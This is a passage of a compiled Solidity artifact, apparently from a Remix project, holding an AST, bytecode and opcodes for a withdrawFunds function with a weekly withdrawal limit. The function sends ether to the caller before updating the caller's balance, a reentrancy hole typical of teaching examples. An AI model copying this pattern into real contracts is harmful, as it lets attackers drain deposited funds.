"commonType": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
}, | |
"id": 108, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftExpression": { | |
"argumentTypes": null, | |
"baseExpression": { | |
"argumentTypes": null, | |
"id": 103, | |
"name": "balances", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 85, | |
"src": "372:8:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
} | |
}, | |
"id": 106, | |
"indexExpression": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"id": 104, | |
"name": "msg", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 169, | |
"src": "381:3:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_magic_message", | |
"typeString": "msg" | |
} | |
}, | |
"id": 105, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "sender", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "381:10:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
}, | |
"isConstant": false, | |
"isLValue": true, | |
"isPure": false, | |
"lValueRequested": false, | |
"nodeType": "IndexAccess", | |
"src": "372:20:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"nodeType": "BinaryOperation", | |
"operator": ">=", | |
"rightExpression": { | |
"argumentTypes": null, | |
"id": 107, | |
"name": "_weiToWithdraw", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 99, | |
"src": "396:14:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"src": "372:38:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
} | |
], | |
"expression": { | |
"argumentTypes": [ | |
{ | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
], | |
"id": 102, | |
"name": "require", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [ | |
172, | |
173 | |
], | |
"referencedDeclaration": 172, | |
"src": "364:7:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_function_require_pure$_t_bool_$returns$__$", | |
"typeString": "function (bool) pure" | |
} | |
}, | |
"id": 109, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"kind": "functionCall", | |
"lValueRequested": false, | |
"names": [], | |
"nodeType": "FunctionCall", | |
"src": "364:47:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_tuple$__$", | |
"typeString": "tuple()" | |
} | |
}, | |
"id": 110, | |
"nodeType": "ExpressionStatement", | |
"src": "364:47:1" | |
}, | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"arguments": [ | |
{ | |
"argumentTypes": null, | |
"commonType": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
}, | |
"id": 114, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftExpression": { | |
"argumentTypes": null, | |
"id": 112, | |
"name": "_weiToWithdraw", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 99, | |
"src": "461:14:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"nodeType": "BinaryOperation", | |
"operator": "<=", | |
"rightExpression": { | |
"argumentTypes": null, | |
"id": 113, | |
"name": "withdrawalLimit", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 77, | |
"src": "479:15:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"src": "461:33:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
} | |
], | |
"expression": { | |
"argumentTypes": [ | |
{ | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
], | |
"id": 111, | |
"name": "require", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [ | |
172, | |
173 | |
], | |
"referencedDeclaration": 172, | |
"src": "453:7:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_function_require_pure$_t_bool_$returns$__$", | |
"typeString": "function (bool) pure" | |
} | |
}, | |
"id": 115, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"kind": "functionCall", | |
"lValueRequested": false, | |
"names": [], | |
"nodeType": "FunctionCall", | |
"src": "453:42:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_tuple$__$", | |
"typeString": "tuple()" | |
} | |
}, | |
"id": 116, | |
"nodeType": "ExpressionStatement", | |
"src": "453:42:1" | |
}, | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"arguments": [ | |
{ | |
"argumentTypes": null, | |
"commonType": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
}, | |
"id": 125, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftExpression": { | |
"argumentTypes": null, | |
"id": 118, | |
"name": "now", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 171, | |
"src": "559:3:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"nodeType": "BinaryOperation", | |
"operator": ">=", | |
"rightExpression": { | |
"argumentTypes": null, | |
"commonType": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
}, | |
"id": 124, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftExpression": { | |
"argumentTypes": null, | |
"baseExpression": { | |
"argumentTypes": null, | |
"id": 119, | |
"name": "lastWithdrawTime", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 81, | |
"src": "566:16:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
} | |
}, | |
"id": 122, | |
"indexExpression": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"id": 120, | |
"name": "msg", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 169, | |
"src": "583:3:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_magic_message", | |
"typeString": "msg" | |
} | |
}, | |
"id": 121, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "sender", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "583:10:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
}, | |
"isConstant": false, | |
"isLValue": true, | |
"isPure": false, | |
"lValueRequested": false, | |
"nodeType": "IndexAccess", | |
"src": "566:28:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"nodeType": "BinaryOperation", | |
"operator": "+", | |
"rightExpression": { | |
"argumentTypes": null, | |
"hexValue": "31", | |
"id": 123, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": true, | |
"kind": "number", | |
"lValueRequested": false, | |
"nodeType": "Literal", | |
"src": "597:7:1", | |
"subdenomination": "weeks", | |
"typeDescriptions": { | |
"typeIdentifier": "t_rational_604800_by_1", | |
"typeString": "int_const 604800" | |
}, | |
"value": "1" | |
}, | |
"src": "566:38:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"src": "559:45:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
} | |
], | |
"expression": { | |
"argumentTypes": [ | |
{ | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
], | |
"id": 117, | |
"name": "require", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [ | |
172, | |
173 | |
], | |
"referencedDeclaration": 172, | |
"src": "551:7:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_function_require_pure$_t_bool_$returns$__$", | |
"typeString": "function (bool) pure" | |
} | |
}, | |
"id": 126, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"kind": "functionCall", | |
"lValueRequested": false, | |
"names": [], | |
"nodeType": "FunctionCall", | |
"src": "551:54:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_tuple$__$", | |
"typeString": "tuple()" | |
} | |
}, | |
"id": 127, | |
"nodeType": "ExpressionStatement", | |
"src": "551:54:1" | |
}, | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"arguments": [ | |
{ | |
"argumentTypes": null, | |
"arguments": [], | |
"expression": { | |
"argumentTypes": [], | |
"arguments": [ | |
{ | |
"argumentTypes": null, | |
"id": 133, | |
"name": "_weiToWithdraw", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 99, | |
"src": "645:14:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
} | |
], | |
"expression": { | |
"argumentTypes": [ | |
{ | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
], | |
"expression": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"id": 129, | |
"name": "msg", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 169, | |
"src": "623:3:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_magic_message", | |
"typeString": "msg" | |
} | |
}, | |
"id": 130, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "sender", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "623:10:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
}, | |
"id": 131, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "call", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "623:15:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_function_barecall_payable$__$returns$_t_bool_$", | |
"typeString": "function () payable returns (bool)" | |
} | |
}, | |
"id": 132, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "value", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "623:21:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_function_setvalue_nonpayable$_t_uint256_$returns$_t_function_barecall_payable$__$returns$_t_bool_$value_$", | |
"typeString": "function (uint256) returns (function () payable returns (bool))" | |
} | |
}, | |
"id": 134, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"kind": "functionCall", | |
"lValueRequested": false, | |
"names": [], | |
"nodeType": "FunctionCall", | |
"src": "623:37:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_function_barecall_payable$__$returns$_t_bool_$value", | |
"typeString": "function () payable returns (bool)" | |
} | |
}, | |
"id": 135, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"kind": "functionCall", | |
"lValueRequested": false, | |
"names": [], | |
"nodeType": "FunctionCall", | |
"src": "623:39:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
} | |
], | |
"expression": { | |
"argumentTypes": [ | |
{ | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
], | |
"id": 128, | |
"name": "require", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [ | |
172, | |
173 | |
], | |
"referencedDeclaration": 172, | |
"src": "615:7:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_function_require_pure$_t_bool_$returns$__$", | |
"typeString": "function (bool) pure" | |
} | |
}, | |
"id": 136, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"kind": "functionCall", | |
"lValueRequested": false, | |
"names": [], | |
"nodeType": "FunctionCall", | |
"src": "615:48:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_tuple$__$", | |
"typeString": "tuple()" | |
} | |
}, | |
"id": 137, | |
"nodeType": "ExpressionStatement", | |
"src": "615:48:1" | |
}, | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"id": 143, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftHandSide": { | |
"argumentTypes": null, | |
"baseExpression": { | |
"argumentTypes": null, | |
"id": 138, | |
"name": "balances", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 85, | |
"src": "673:8:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
} | |
}, | |
"id": 141, | |
"indexExpression": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"id": 139, | |
"name": "msg", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 169, | |
"src": "682:3:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_magic_message", | |
"typeString": "msg" | |
} | |
}, | |
"id": 140, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "sender", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "682:10:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
}, | |
"isConstant": false, | |
"isLValue": true, | |
"isPure": false, | |
"lValueRequested": true, | |
"nodeType": "IndexAccess", | |
"src": "673:20:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"nodeType": "Assignment", | |
"operator": "-=", | |
"rightHandSide": { | |
"argumentTypes": null, | |
"id": 142, | |
"name": "_weiToWithdraw", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 99, | |
"src": "697:14:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"src": "673:38:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"id": 144, | |
"nodeType": "ExpressionStatement", | |
"src": "673:38:1" | |
}, | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"id": 150, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftHandSide": { | |
"argumentTypes": null, | |
"baseExpression": { | |
"argumentTypes": null, | |
"id": 145, | |
"name": "lastWithdrawTime", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 81, | |
"src": "721:16:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
} | |
}, | |
"id": 148, | |
"indexExpression": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"id": 146, | |
"name": "msg", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 169, | |
"src": "738:3:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_magic_message", | |
"typeString": "msg" | |
} | |
}, | |
"id": 147, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "sender", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "738:10:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
}, | |
"isConstant": false, | |
"isLValue": true, | |
"isPure": false, | |
"lValueRequested": true, | |
"nodeType": "IndexAccess", | |
"src": "721:28:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"nodeType": "Assignment", | |
"operator": "=", | |
"rightHandSide": { | |
"argumentTypes": null, | |
"id": 149, | |
"name": "now", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 171, | |
"src": "752:3:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"src": "721:34:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"id": 151, | |
"nodeType": "ExpressionStatement", | |
"src": "721:34:1" | |
} | |
] | |
}, | |
"documentation": null, | |
"id": 153, | |
"implemented": true, | |
"isConstructor": false, | |
"isDeclaredConst": false, | |
"modifiers": [], | |
"name": "withdrawFunds", | |
"nodeType": "FunctionDefinition", | |
"parameters": { | |
"id": 100, | |
"nodeType": "ParameterList", | |
"parameters": [ | |
{ | |
"constant": false, | |
"id": 99, | |
"name": "_weiToWithdraw", | |
"nodeType": "VariableDeclaration", | |
"scope": 153, | |
"src": "323:22:1", | |
"stateVariable": false, | |
"storageLocation": "default", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
}, | |
"typeName": { | |
"id": 98, | |
"name": "uint256", | |
"nodeType": "ElementaryTypeName", | |
"src": "323:7:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"value": null, | |
"visibility": "internal" | |
} | |
], | |
"src": "322:24:1" | |
}, | |
"payable": false, | |
"returnParameters": { | |
"id": 101, | |
"nodeType": "ParameterList", | |
"parameters": [], | |
"src": "354:0:1" | |
}, | |
"scope": 154, | |
"src": "299:463:1", | |
"stateMutability": "nonpayable", | |
"superFunction": null, | |
"visibility": "public" | |
} | |
], | |
"scope": 155, | |
"src": "25:740:1" | |
} | |
], | |
"src": "0:769:1" | |
}, | |
"id": 1 | |
} | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"deploy": { | |
"VM:-": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"main:1": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"ropsten:3": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"rinkeby:4": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"kovan:42": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"goerli:5": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"Custom": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
} | |
}, | |
"data": { | |
"bytecode": { | |
"linkReferences": {}, | |
"object": "6080604052670de0b6b3a764000060005534801561001c57600080fd5b506103b08061002c6000396000f30060806040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631031ec3114610072578063155dd5ee146100c957806327e235e3146100f65780637ddfe78d1461014d578063e2c41dbc14610178575b600080fd5b34801561007e57600080fd5b506100b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610182565b6040518082815260200191505060405180910390f35b3480156100d557600080fd5b506100f46004803603810190808035906020019092919050505061019a565b005b34801561010257600080fd5b50610137600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610317565b6040518082815260200191505060405180910390f35b34801561015957600080fd5b5061016261032f565b6040518082815260200191505060405180910390f35b610180610335565b005b60016020528060005260406000206000915090505481565b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156101e857600080fd5b60005481111515156101f957600080fd5b62093a80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401421015151561024c57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168160405160006040518083038185875af192505050151561028357600080fd5b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555042600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60026020528060005260406000206000915090505481565b60005481565b34600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505600a165627a7a72305820074e6fe5cec4ab62e5abca789b9b486bb4738b5aaa4acc851bf93215ae6be45e0029", | |
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH8 0xDE0B6B3A7640000 PUSH1 0x0 SSTORE CALLVALUE DUP1 ISZERO PUSH2 0x1C JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x3B0 DUP1 PUSH2 0x2C PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN STOP PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x6D JUMPI PUSH1 0x0 CALLDATALOAD PUSH29 0x100000000000000000000000000000000000000000000000000000000 SWAP1 DIV PUSH4 0xFFFFFFFF AND DUP1 PUSH4 0x1031EC31 EQ PUSH2 0x72 JUMPI DUP1 PUSH4 0x155DD5EE EQ PUSH2 0xC9 JUMPI DUP1 PUSH4 0x27E235E3 EQ PUSH2 0xF6 JUMPI DUP1 PUSH4 0x7DDFE78D EQ PUSH2 0x14D JUMPI DUP1 PUSH4 0xE2C41DBC EQ PUSH2 0x178 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x7E JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0xB3 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x182 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0xD5 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0xF4 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x19A JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x102 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x137 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x317 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x159 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x162 PUSH2 0x32F JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x180 PUSH2 0x335 JUMP JUMPDEST STOP JUMPDEST PUSH1 0x1 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST DUP1 PUSH1 0x2 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD LT ISZERO ISZERO ISZERO PUSH2 0x1E8 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 SLOAD DUP2 GT ISZERO ISZERO ISZERO PUSH2 0x1F9 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH3 0x93A80 PUSH1 0x1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD ADD TIMESTAMP LT ISZERO ISZERO ISZERO PUSH2 0x24C JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 PUSH1 0x40 MLOAD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP8 GAS CALL SWAP3 POP POP POP ISZERO ISZERO PUSH2 0x283 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST DUP1 PUSH1 0x2 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD SUB SWAP3 POP POP DUP2 SWAP1 SSTORE POP TIMESTAMP PUSH1 0x1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 DUP2 SWAP1 SSTORE POP POP JUMP JUMPDEST PUSH1 0x2 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST PUSH1 0x0 SLOAD DUP2 JUMP JUMPDEST CALLVALUE PUSH1 0x2 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD ADD SWAP3 POP POP DUP2 SWAP1 SSTORE POP JUMP STOP LOG1 PUSH6 0x627A7A723058 KECCAK256 SMOD 0x4e PUSH16 0xE5CEC4AB62E5ABCA789B9B486BB4738B GAS 0xaa 0x4a 0xcc DUP6 SHL 0xf9 ORIGIN ISZERO 0xae PUSH12 0xE45E00290000000000000000 ", | |
"sourceMap": "25:740:0:-;;;84:7;51:40;;25:740;8:9:-1;5:2;;;30:1;27;20:12;5:2;25:740:0;;;;;;;" | |
}, | |
"deployedBytecode": { | |
"linkReferences": {}, | |
"object": "60806040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631031ec3114610072578063155dd5ee146100c957806327e235e3146100f65780637ddfe78d1461014d578063e2c41dbc14610178575b600080fd5b34801561007e57600080fd5b506100b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610182565b6040518082815260200191505060405180910390f35b3480156100d557600080fd5b506100f46004803603810190808035906020019092919050505061019a565b005b34801561010257600080fd5b50610137600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610317565b6040518082815260200191505060405180910390f35b34801561015957600080fd5b5061016261032f565b6040518082815260200191505060405180910390f35b610180610335565b005b60016020528060005260406000206000915090505481565b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156101e857600080fd5b60005481111515156101f957600080fd5b62093a80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401421015151561024c57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168160405160006040518083038185875af192505050151561028357600080fd5b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555042600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60026020528060005260406000206000915090505481565b60005481565b34600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffff